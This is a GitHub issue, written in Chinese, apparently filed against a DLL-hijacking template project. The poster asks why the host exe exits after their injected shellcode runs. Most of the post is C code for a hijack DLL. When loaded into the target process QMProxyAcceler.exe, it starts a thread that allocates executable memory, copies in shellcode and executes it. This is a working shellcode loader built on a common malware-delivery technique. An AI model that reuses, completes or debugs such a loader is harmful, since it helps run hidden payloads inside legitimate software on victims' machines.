Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

自定义shellcode运行完成后 exe就结束了 #10

Closed
bengalm opened this issue Mar 17, 2021 · 0 comments
Closed

自定义shellcode运行完成后 exe就结束了 #10

bengalm opened this issue Mar 17, 2021 · 0 comments

Comments

@bengalm
Copy link

bengalm commented Mar 17, 2021

我在生成的文件添加了 shellcode 后 劫持是成功的 未报任何错误 但是当处理完新建的线程任务后 主程序exe就退出了
我不知道那里出错了 希望能帮忙看一下
代码如下

DWORD WINAPI ThreadFunction(LPVOID lpParameter)
  {
      LPVOID newMemory;
      HANDLE currentProcess;
      SIZE_T bytesWritten;
      BOOL didWeCopy = FALSE;
  
      // Get the current process handle 
      currentProcess = GetCurrentProcess();
  
  
      // Allocate memory with Read+Write+Execute permissions 
      newMemory = VirtualAllocEx(currentProcess, NULL, SHELLCODELEN, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  
      if (newMemory == NULL)
	      return -1;
  
      // Copy the shellcode into the memory we just created 
      didWeCopy = WriteProcessMemory(currentProcess, newMemory, (LPCVOID)&shellcode, SHELLCODELEN, &bytesWritten);
  
      if (!didWeCopy)
	      return -2;
  
  
      // Yay! Let's run our shellcode! 
      ((void(*)())newMemory)();
  
      return 0;
  }

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
	    DisableThreadLibraryCalls(hModule);

	    if (Load() && Init())
	    {
		    TCHAR szAppName[MAX_PATH] = TEXT("QMProxyAcceler.exe");//请修改宿主进程名
		    TCHAR szCurName[MAX_PATH];

		    GetModuleFileName(NULL, szCurName, MAX_PATH);
		    PathStripPath(szCurName);
	    
		    
		    //是否判断宿主进程名
		    if (StrCmpI(szCurName, szAppName) == 0)
		    {
			    //启动补丁线程或者其他操作
			    HANDLE hThread = CreateThread(NULL, NULL, ThreadProc, NULL, NULL, NULL);
			    if (hThread)
			    {
				    CloseHandle(hThread);

				    HANDLE threadHandle = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);
				    CloseHandle(threadHandle);
			    }
			    
		    }
	    }
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
	    Free();
    }

    return TRUE;
}
@bengalm bengalm closed this as completed Mar 28, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant